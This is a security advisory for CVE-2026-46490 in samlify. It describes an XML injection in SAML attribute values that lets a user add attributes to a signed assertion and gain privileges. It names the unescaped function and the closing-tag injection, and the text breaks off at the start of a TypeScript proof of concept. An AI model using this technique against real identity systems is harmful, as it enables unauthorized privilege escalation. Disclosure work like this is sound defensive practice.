samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions
Date: 2026-05
Affected: npm/samlify
Attack vector: other
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-46490
CWE: CWE-91

## Summary samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `<saml:AttributeValue>`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `<saml:Attribute>` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups). ## Root Cause `src/libsaml.ts` → `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text: ``` <saml:AttributeValue ...>{attrUserX}</saml:AttributeValue> ``` Therefore, `</saml:AttributeValue>…<saml:Attribute …>` is accepted and signed. ## Proof-of-concept - poc/attribute_injection.ts ```TS import { readFileSync } from 'fs'; import * as samlify from '../index'; import * as validator from '@authenio/samlify-xsd-schema-validator'; samlify.setSchemaValidator(validator); const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any; const loginResponseTemplate = { context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}<


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